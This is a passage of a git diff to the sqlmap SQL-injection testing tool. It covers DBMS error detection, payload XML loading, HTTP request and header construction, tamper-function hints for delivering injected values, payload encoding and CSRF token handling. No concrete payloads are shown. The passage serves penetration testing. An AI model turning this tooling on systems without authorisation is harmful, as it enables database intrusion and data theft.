@@ from xml.sax.handler import ContentHandler +from lib.core.common import urldecode from lib.core.common import parseXmlFile from lib.core.data import kb from lib.core.data import paths @@ -26,6 +27,7 @@ def __init__(self, page): self._dbms = None self._page = (page or "") self._lower_page = self._page.lower() + self._urldecoded_page = urldecode(self._page) self.dbms = None @@ -47,7 +49,7 @@ def startElement(self, name, attrs): keywords = sorted(keywords, key=len) kb.cache.regex[regexp] = keywords[-1].lower() - if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._page, re.I): + if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I): self.dbms = self._dbms self._markAsErrorPage() diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 9f8d5a41bea..1eb13d4984d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -1,11 +1,12 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os +import re from xml.etree import ElementTree as et @@ -17,6 +18,9 @@ from lib.core.settings import PAYLOAD_XML_FILES def cleanupVals(text, tag): + if tag == "clause" and '-' in text: + text = re.sub(r"(\d+)-(\d+)", lambda match: ','.join(str(_) for _ in xrange(int(match.group(1)), int(match.group(2)) + 1)), text) + if tag in ("clause", "where"): text = text.split(',') @@ -36,7 +40,7 @@ def cleanupVals(text, tag): return text def parseXmlNode(node): - for element in node.getiterator('boundary'): + for element in node.getiterator("boundary"): boundary = AttribDict() for child in element.getchildren(): @@ -48,7 +52,7 @@ def parseXmlNode(node): conf.boundaries.append(boundary) - for element in node.getiterator('test'): + for element in node.getiterator("test"): test = AttribDict() for child in element.getchildren(): @@ -78,7 +82,7 @@ def loadBoundaries(): errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) @@ -93,7 +97,7 @@ def loadPayloads(): errMsg = "something appears to be wrong with " errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex)) errMsg += "sure that you haven't made any changes to it" - raise SqlmapInstallationException, errMsg + raise SqlmapInstallationException(errMsg) root = doc.getroot() parseXmlNode(root) diff --git a/lib/parse/sitemap.py b/lib/parse/sitemap.py index 6724ceb0ed6..a9b95890ef4 100644 --- a/lib/parse/sitemap.py +++ b/lib/parse/sitemap.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -32,7 +32,7 @@ def parseSitemap(url, retVal=None): content = Request.getPage(url=url, raise404=True)[0] if not abortedFlag else "" except httplib.InvalidURL: errMsg = "invalid URL given for sitemap ('%s')" % url - raise SqlmapSyntaxException, errMsg + raise SqlmapSyntaxException(errMsg) for match in re.finditer(r"\s*([^<]+)", content or ""): if abortedFlag: diff --git a/lib/request/__init__.py b/lib/request/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/request/__init__.py +++ b/lib/request/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/basic.py b/lib/request/basic.py index c2fc73d31a8..5452ea99c0e 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -35,7 +35,6 @@ from lib.core.exception import SqlmapCompressionException from lib.core.settings import BLOCKED_IP_REGEX from lib.core.settings import DEFAULT_COOKIE_DELIMITER -from lib.core.settings import DEV_EMAIL_ADDRESS from lib.core.settings import EVENTVALIDATION_REGEX from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE from lib.core.settings import META_CHARSET_REGEX @@ -61,7 +60,7 @@ def forgeHeaders(items=None, base=None): if items[_] is None: del items[_] - headers = OrderedDict(base or conf.httpHeaders) + headers = OrderedDict(conf.httpHeaders if base is None else base) headers.update(items.items()) class _str(str): @@ -110,7 +109,9 @@ def title(self): kb.mergeCookies = readInput(message, default='Y', boolean=True) if kb.mergeCookies and kb.injection.place != PLACE.COOKIE: - _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x) + def _(value): + return re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), value) + headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE]) if PLACE.COOKIE in conf.parameters: @@ -161,7 +162,7 @@ def checkCharEncoding(encoding, warn=True): return encoding # Reference: http://www.destructor.de/charsets/index.htm - translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} + translate = {"windows-874": "iso-8859-11", "utf-8859-1": "utf8", "en_us": "utf8", "macintosh": "iso-8859-1", "euc_tw": "big5_tw", "th": "tis-620", "unicode": "utf8", "utc8": "utf8", "ebcdic": "ebcdic-cp-be", "iso-8859": "iso8859-1", "iso-8859-0": "iso8859-1", "ansi": "ascii", "gbk2312": "gbk", "windows-31j": "cp932", "en": "us"} for delimiter in (';', ',', '('): if delimiter in encoding: @@ -218,10 +219,6 @@ def checkCharEncoding(encoding, warn=True): try: codecs.lookup(encoding.encode(UNICODE_ENCODING) if isinstance(encoding, unicode) else encoding) except (LookupError, ValueError): - if warn: - warnMsg = "unknown web page charset '%s'. " % encoding - warnMsg += "Please report by e-mail to '%s'" % DEV_EMAIL_ADDRESS - singleTimeLogMessage(warnMsg, logging.WARN, encoding) encoding = None if encoding: @@ -332,7 +329,7 @@ def decodePage(page, contentEncoding, contentType): kb.pageEncoding = kb.pageEncoding or checkCharEncoding(getHeuristicCharEncoding(page)) - if kb.pageEncoding and kb.pageEncoding.lower() == "utf-8-sig": + if (kb.pageEncoding or "").lower() == "utf-8-sig": kb.pageEncoding = "utf-8" if page and page.startswith("\xef\xbb\xbf"): # Reference: https://docs.python.org/2/library/codecs.html (Note: noticed problems when "utf-8-sig" is left to Python for handling) page = page[3:] @@ -345,7 +342,7 @@ def _(match): retVal = match.group(0) try: retVal = unichr(int(match.group(1))) - except ValueError: + except (ValueError, OverflowError): pass return retVal page = re.sub(r"&#(\d+);", _, page) @@ -388,7 +385,7 @@ def processResponse(page, responseHeaders, status=None): continue conf.paramDict[PLACE.POST][name] = value - conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % re.escape(value), conf.parameters[PLACE.POST]) + conf.parameters[PLACE.POST] = re.sub(r"(?i)(%s=)[^&]+" % re.escape(name), r"\g<1>%s" % value.replace('\\', r'\\'), conf.parameters[PLACE.POST]) if not kb.browserVerification and re.search(r"(?i)browser.?verification", page or ""): kb.browserVerification = True diff --git a/lib/request/basicauthhandler.py b/lib/request/basicauthhandler.py index cd115e6fc9d..e686226526f 100644 --- a/lib/request/basicauthhandler.py +++ b/lib/request/basicauthhandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -30,10 +30,8 @@ def http_error_auth_reqed(self, auth_header, host, req, headers): self.retried_count = 0 else: if self.retried_count > 5: - raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", - headers, None) + raise urllib2.HTTPError(req.get_full_url(), 401, "basic auth failed", headers, None) else: self.retried_count += 1 - return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed( - self, auth_header, host, req, headers) + return urllib2.HTTPBasicAuthHandler.http_error_auth_reqed(self, auth_header, host, req, headers) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index bd8612d99dc..ef0a6f11dcf 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -137,10 +137,14 @@ def _comparison(page, headers, code, getRatioValue, pageLength): seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "") seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "") + if kb.heavilyDynamic: + seq1 = seq1.split("\n") + seq2 = seq2.split("\n") + seqMatcher.set_seq1(seq1) seqMatcher.set_seq2(seq2) - ratio = round(seqMatcher.quick_ratio(), 3) + ratio = round(seqMatcher.quick_ratio() if not kb.heavilyDynamic else seqMatcher.ratio(), 3) # If the url is stable and we did not set yet the match ratio and the # current injected value changes the url page content diff --git a/lib/request/connect.py b/lib/request/connect.py index c7001371bcd..bc4f6714599 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -1,14 +1,13 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import binascii import compiler import httplib -import json import keyword import logging import re @@ -17,6 +16,7 @@ import struct import time import traceback +import urllib import urllib2 import urlparse @@ -34,6 +34,7 @@ class WebSocketException(Exception): from lib.core.common import checkSameHost from lib.core.common import clearConsoleLine from lib.core.common import dataToStdout +from lib.core.common import escapeJsonValue from lib.core.common import evaluateCode from lib.core.common import extractRegexResult from lib.core.common import findMultipartPostBoundary @@ -63,10 +64,13 @@ class WebSocketException(Exception): from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger +from lib.core.datatype import AttribDict +from lib.core.decorators import stackedmethod from lib.core.dicts import POST_HINT_CONTENT_TYPES from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import AUTH_TYPE from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import HINT from lib.core.enums import HTTP_HEADER from lib.core.enums import HTTPMETHOD from lib.core.enums import NULLCONNECTION @@ -74,7 +78,7 @@ class WebSocketException(Exception): from lib.core.enums import PLACE from lib.core.enums import POST_HINT from lib.core.enums import REDIRECTION -from lib.core.enums import WEB_API +from lib.core.enums import WEB_PLATFORM from lib.core.exception import SqlmapCompressionException from lib.core.exception import SqlmapConnectionException from lib.core.exception import SqlmapGenericException @@ -86,6 +90,7 @@ class WebSocketException(Exception): from lib.core.settings import DEFAULT_CONTENT_TYPE from lib.core.settings import DEFAULT_COOKIE_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER +from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import EVALCODE_KEYWORD_SUFFIX from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE @@ -96,6 +101,8 @@ class WebSocketException(Exception): from lib.core.settings import MAX_MURPHY_SLEEP_TIME from lib.core.settings import META_REFRESH_REGEX from lib.core.settings import MIN_TIME_RESPONSES +from lib.core.settings import MAX_TIME_RESPONSES +from lib.core.settings import IDS_WAF_CHECK_PAYLOAD from lib.core.settings import IS_WIN from lib.core.settings import LARGE_CHUNK_TRIM_MARKER from lib.core.settings import PAYLOAD_DELIMITER @@ -118,7 +125,6 @@ class WebSocketException(Exception): from thirdparty.odict.odict import OrderedDict from thirdparty.socks.socks import ProxyError - class Connect(object): """ This class defines methods used to perform HTTP requests @@ -168,9 +174,11 @@ def _retryProxy(**kwargs): warnMsg += "(e.g. 'https://help.ubuntu.com/community/Tor')" else: warnMsg = "if the problem persists please check that the provided " - warnMsg += "target URL is valid. In case that it is, you can try to rerun " - warnMsg += "with the switch '--random-agent' turned on " - warnMsg += "and/or proxy switches ('--ignore-proxy', '--proxy',...)" + warnMsg += "target URL is reachable. In case that it is, " + warnMsg += "you can try to rerun with " + if not conf.randomAgent: + warnMsg += "switch '--random-agent' and/or " + warnMsg += "proxy switches ('--ignore-proxy', '--proxy',...)" singleTimeWarnMessage(warnMsg) elif conf.threads > 1: @@ -187,13 +195,13 @@ def _connReadProxy(conn): if not kb.dnsMode and conn: headers = conn.info() - if headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate")\ - or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): + if kb.pageCompress and headers and hasattr(headers, "getheader") and (headers.getheader(HTTP_HEADER.CONTENT_ENCODING, "").lower() in ("gzip", "deflate") or "text" not in headers.getheader(HTTP_HEADER.CONTENT_TYPE, "").lower()): retVal = conn.read(MAX_CONNECTION_TOTAL_SIZE) if len(retVal) == MAX_CONNECTION_TOTAL_SIZE: warnMsg = "large compressed response detected. Disabling compression" singleTimeWarnMessage(warnMsg) kb.pageCompress = False + raise SqlmapCompressionException else: while True: if not conn: @@ -241,27 +249,27 @@ def getPage(**kwargs): kb.requestCounter += 1 threadData.lastRequestUID = kb.requestCounter - url = kwargs.get("url", None) or conf.url - get = kwargs.get("get", None) - post = kwargs.get("post", None) - method = kwargs.get("method", None) - cookie = kwargs.get("cookie", None) - ua = kwargs.get("ua", None) or conf.agent - referer = kwargs.get("referer", None) or conf.referer - host = kwargs.get("host", None) or conf.host - direct_ = kwargs.get("direct", False) - multipart = kwargs.get("multipart", None) - silent = kwargs.get("silent", False) - raise404 = kwargs.get("raise404", True) - timeout = kwargs.get("timeout", None) or conf.timeout - auxHeaders = kwargs.get("auxHeaders", None) - response = kwargs.get("response", False) + url = kwargs.get("url", None) or conf.url + get = kwargs.get("get", None) + post = kwargs.get("post", None) + method = kwargs.get("method", None) + cookie = kwargs.get("cookie", None) + ua = kwargs.get("ua", None) or conf.agent + referer = kwargs.get("referer", None) or conf.referer + host = kwargs.get("host", None) or conf.host + direct_ = kwargs.get("direct", False) + multipart = kwargs.get("multipart", None) + silent = kwargs.get("silent", False) + raise404 = kwargs.get("raise404", True) + timeout = kwargs.get("timeout", None) or conf.timeout + auxHeaders = kwargs.get("auxHeaders", None) + response = kwargs.get("response", False) ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts - refreshing = kwargs.get("refreshing", False) - retrying = kwargs.get("retrying", False) - crawling = kwargs.get("crawling", False) - checking = kwargs.get("checking", False) - skipRead = kwargs.get("skipRead", False) + refreshing = kwargs.get("refreshing", False) + retrying = kwargs.get("retrying", False) + crawling = kwargs.get("crawling", False) + checking = kwargs.get("checking", False) + skipRead = kwargs.get("skipRead", False) if multipart: post = multipart @@ -346,7 +354,7 @@ def getPage(**kwargs): requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str # Prepare HTTP headers - headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}) + headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {}) if HTTP_HEADER.COOKIE in headers: cookie = headers[HTTP_HEADER.COOKIE] @@ -357,14 +365,21 @@ def getPage(**kwargs): if kb.proxyAuthHeader: headers[HTTP_HEADER.PROXY_AUTHORIZATION] = kb.proxyAuthHeader - if not getHeader(headers, HTTP_HEADER.ACCEPT): - headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE + if not conf.requestFile or not target: + if not getHeader(headers, HTTP_HEADER.HOST): + headers[HTTP_HEADER.HOST] = getHostHeader(url) + + if not getHeader(headers, HTTP_HEADER.ACCEPT): + headers[HTTP_HEADER.ACCEPT] = HTTP_ACCEPT_HEADER_VALUE - if not getHeader(headers, HTTP_HEADER.HOST) or not target: - headers[HTTP_HEADER.HOST] = getHostHeader(url) + if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): + headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" - if not getHeader(headers, HTTP_HEADER.ACCEPT_ENCODING): - headers[HTTP_HEADER.ACCEPT_ENCODING] = HTTP_ACCEPT_ENCODING_HEADER_VALUE if kb.pageCompress else "identity" + elif conf.requestFile and getHeader(headers, HTTP_HEADER.USER_AGENT) == DEFAULT_USER_AGENT: + for header in headers: + if header.upper() == HTTP_HEADER.USER_AGENT.upper(): + del headers[header] + break if post is not None and not multipart and not getHeader(headers, HTTP_HEADER.CONTENT_TYPE): headers[HTTP_HEADER.CONTENT_TYPE] = POST_HINT_CONTENT_TYPES.get(kb.postHint, DEFAULT_CONTENT_TYPE) @@ -381,10 +396,6 @@ def getPage(**kwargs): if conf.keepAlive: headers[HTTP_HEADER.CONNECTION] = "keep-alive" - # Reset header values to original in case of provided request file - if target and conf.requestFile: - headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie}) - if auxHeaders: headers = forgeHeaders(auxHeaders, headers) @@ -407,8 +418,10 @@ def getPage(**kwargs): ws.close() code = ws.status status = httplib.responses[code] + class _(dict): pass + responseHeaders = _(ws.getheaders()) responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()] @@ -428,8 +441,10 @@ class _(dict): method = unicodeencode(method) req = MethodRequest(url, post, headers) req.set_method(method) - else: + elif url is not None: req = urllib2.Request(url, post, headers) + else: + return None, None, None requestHeaders += "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()]) @@ -479,23 +494,23 @@ class _(dict): # Get HTTP response if hasattr(conn, "redurl"): - page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO\ - else Connect._connReadProxy(conn)) if not skipRead else None + page = (threadData.lastRedirectMsg[1] if kb.redirectChoice == REDIRECTION.NO else Connect._connReadProxy(conn)) if not skipRead else None skipLogTraffic = kb.redirectChoice == REDIRECTION.NO code = conn.redcode else: page = Connect._connReadProxy(conn) if not skipRead else None if conn: - code = conn.code + code = (code or conn.code) if conn.code == kb.originalCode else conn.code # do not override redirection code (for comparison purposes) responseHeaders = conn.info() responseHeaders[URI_HTTP_HEADER] = conn.geturl() + kb.serverHeader = responseHeaders.get(HTTP_HEADER.SERVER, kb.serverHeader) else: code = None responseHeaders = {} page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE)) - status = getUnicode(conn.msg) if conn else None + status = getUnicode(conn.msg) if conn and getattr(conn, "msg", None) else None kb.connErrorCounter = 0 @@ -578,13 +593,13 @@ class _(dict): page = page if isinstance(page, unicode) else getUnicode(page) code = ex.code - status = getUnicode(ex.msg) + status = getSafeExString(ex) kb.originalCode = kb.originalCode or code threadData.lastHTTPError = (threadData.lastRequestUID, code, status) kb.httpErrorCodes[code] = kb.httpErrorCodes.get(code, 0) + 1 - responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) @@ -642,15 +657,8 @@ class _(dict): elif "forcibly closed" in tbMsg or "Connection is already closed" in tbMsg: warnMsg = "connection was forcibly closed by the target URL" elif "timed out" in tbMsg: - if not conf.disablePrecon: - singleTimeWarnMessage("turning off pre-connect mechanism because of connection time out(s)") - conf.disablePrecon = True - - if kb.testMode and kb.testType not in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): - kb.responseTimes.clear() - if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED): - singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests") + singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection timed out to the target URL" elif "Connection reset" in tbMsg: @@ -659,7 +667,7 @@ class _(dict): conf.disablePrecon = True if kb.testMode: - singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is resetting 'suspicious' requests") + singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS) is resetting 'suspicious' requests") kb.droppingRequests = True warnMsg = "connection reset to the target URL" elif "URLError" in tbMsg or "error" in tbMsg: @@ -684,6 +692,9 @@ class _(dict): status = re.search(r"Handshake status ([\d]{3})", tbMsg) errMsg = "websocket handshake status %s" % status.group(1) if status else "unknown" raise SqlmapConnectionException(errMsg) + elif "SqlmapCompressionException" in tbMsg: + warnMsg = "problems with response (de)compression" + retrying = True else: warnMsg = "unable to connect to the target URL" @@ -719,7 +730,7 @@ class _(dict): else: logger.debug(warnMsg) return Connect._retryProxy(**kwargs) - elif kb.testMode: + elif kb.testMode or kb.multiThreadMode: logger.critical(warnMsg) return None, None, None else: @@ -738,16 +749,16 @@ class _(dict): if conn and getattr(conn, "redurl", None): _ = urlparse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) - requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", "\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) + requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) if kb.resendPostOnRedirect is False: - requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", "\g<1>GET ", requestMsg) + requestMsg = re.sub(r"(\[#\d+\]:\n)POST ", r"\g<1>GET ", requestMsg) requestMsg = re.sub(r"(?i)Content-length: \d+\n", "", requestMsg) requestMsg = re.sub(r"(?s)\n\n.+", "\n", requestMsg) responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, conn.code, status) else: - responseMsg += "[#%d] (%d %s):\r\n" % (threadData.lastRequestUID, code, status) + responseMsg += "[#%d] (%s %s):\r\n" % (threadData.lastRequestUID, code, status) if responseHeaders: logHeaders = "\r\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()]) @@ -766,7 +777,8 @@ class _(dict): return page, responseHeaders, code @staticmethod - def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True): + @stackedmethod + def queryPage(value=None, place=None, content=False, getRatioValue=False, silent=False, method=None, timeBasedCompare=False, noteResponseTime=True, auxHeaders=None, response=False, raise404=None, removeReflection=True, disableTampering=False): """ This method calls a function to get the target URL page content and returns its page ratio (0 <= ratio <= 1) or a boolean value @@ -813,10 +825,14 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent conf.httpHeaders.append((HTTP_HEADER.CONTENT_TYPE, contentType)) if payload: - if kb.tamperFunctions: + delimiter = conf.paramDel or (DEFAULT_GET_POST_DELIMITER if place != PLACE.COOKIE else DEFAULT_COOKIE_DELIMITER) + + if not disableTampering and kb.tamperFunctions: for function in kb.tamperFunctions: + hints = {} + try: - payload = function(payload=payload, headers=auxHeaders) + payload = function(payload=payload, headers=auxHeaders, delimiter=delimiter, hints=hints) except Exception, ex: errMsg = "error occurred while running tamper " errMsg += "function '%s' ('%s')" % (function.func_name, getSafeExString(ex)) @@ -829,6 +845,18 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent value = agent.replacePayload(value, payload) + if hints: + if HINT.APPEND in hints: + value = "%s%s%s" % (value, delimiter, hints[HINT.APPEND]) + + if HINT.PREPEND in hints: + if place == PLACE.URI: + match = re.search(r"\w+\s*=\s*%s" % PAYLOAD_DELIMITER, value) or re.search(r"[^?%s/]=\s*%s" % (re.escape(delimiter), PAYLOAD_DELIMITER), value) + if match: + value = value.replace(match.group(0), "%s%s%s" % (hints[HINT.PREPEND], delimiter, match.group(0))) + else: + value = "%s%s%s" % (hints[HINT.PREPEND], delimiter, value) + logger.log(CUSTOM_LOGGING.PAYLOAD, safecharencode(payload.replace('\\', BOUNDARY_BACKSLASH_MARKER)).replace(BOUNDARY_BACKSLASH_MARKER, '\\')) if place == PLACE.CUSTOM_POST and kb.postHint: @@ -837,24 +865,18 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent # with their HTML encoded counterparts payload = payload.replace('>', ">").replace('<', "<") elif kb.postHint == POST_HINT.JSON: - if payload.startswith('"') and payload.endswith('"'): - payload = json.dumps(payload[1:-1]) - else: - payload = json.dumps(payload)[1:-1] + payload = escapeJsonValue(payload) elif kb.postHint == POST_HINT.JSON_LIKE: payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') - if payload.startswith('"') and payload.endswith('"'): - payload = json.dumps(payload[1:-1]) - else: - payload = json.dumps(payload)[1:-1] + payload = escapeJsonValue(payload) payload = payload.replace("'", REPLACEMENT_MARKER).replace('"', "'").replace(REPLACEMENT_MARKER, '"') value = agent.replacePayload(value, payload) else: # GET, POST, URI and Cookie payload needs to be thoroughly URL encoded - if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: + if (place in (PLACE.GET, PLACE.URI, PLACE.COOKIE) or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper()) and not conf.skipUrlEncode or place in (PLACE.POST, PLACE.CUSTOM_POST) and postUrlEncode: skip = False - if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0] == HTTP_HEADER.COOKIE: + if place == PLACE.COOKIE or place == PLACE.CUSTOM_HEADER and value.split(',')[0].upper() == HTTP_HEADER.COOKIE.upper(): if kb.cookieEncodeChoice is None: msg = "do you want to URL encode cookie values (implementation specific)? %s" % ("[Y/n]" if not conf.url.endswith(".aspx") else "[y/N]") # Reference: https://support.microsoft.com/en-us/kb/313282 kb.cookieEncodeChoice = readInput(msg, default='Y' if not conf.url.endswith(".aspx") else 'N', boolean=True) @@ -862,12 +884,14 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent skip = True if not skip: - payload = urlencode(payload, '%', False, place != PLACE.URI) # spaceplus is handled down below + if place in (PLACE.POST, PLACE.CUSTOM_POST): # potential problems in other cases (e.g. URL encoding of whole URI - including path) + value = urlencode(value, spaceplus=kb.postSpaceToPlus) + payload = urlencode(payload, safe='%', spaceplus=kb.postSpaceToPlus) value = agent.replacePayload(value, payload) postUrlEncode = False if conf.hpp: - if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_API.ASP, WEB_API.ASPX)): + if not any(conf.url.lower().endswith(_.lower()) for _ in (WEB_PLATFORM.ASP, WEB_PLATFORM.ASPX)): warnMsg = "HTTP parameter pollution should work only against " warnMsg += "ASP(.NET) targets" singleTimeWarnMessage(warnMsg) @@ -932,70 +956,84 @@ def queryPage(value=None, place=None, content=False, getRatioValue=False, silent if value and place == PLACE.CUSTOM_HEADER: if value.split(',')[0].capitalize() == PLACE.COOKIE: - cookie = value.split(',', 1)[1] + cookie = value.split(',', 1)[-1] else: - auxHeaders[value.split(',')[0]] = value.split(',', 1)[1] + auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1] if conf.csrfToken: def _adjustParameter(paramString, parameter, newValue): retVal = paramString - match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString) + match = re.search(r"%s=[^&]*" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString) + retVal = re.sub("(?i)%s" % re.escape(match.group(0)), ("%s=%s" % (parameter, newValue)).replace('\\', r'\\'), paramString) else: - match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString) + match = re.search(r"(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString, re.I) if match: - retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) + retVal = re.sub("(?i)%s" % re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString) return retVal + token = AttribDict() page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST)) - token = 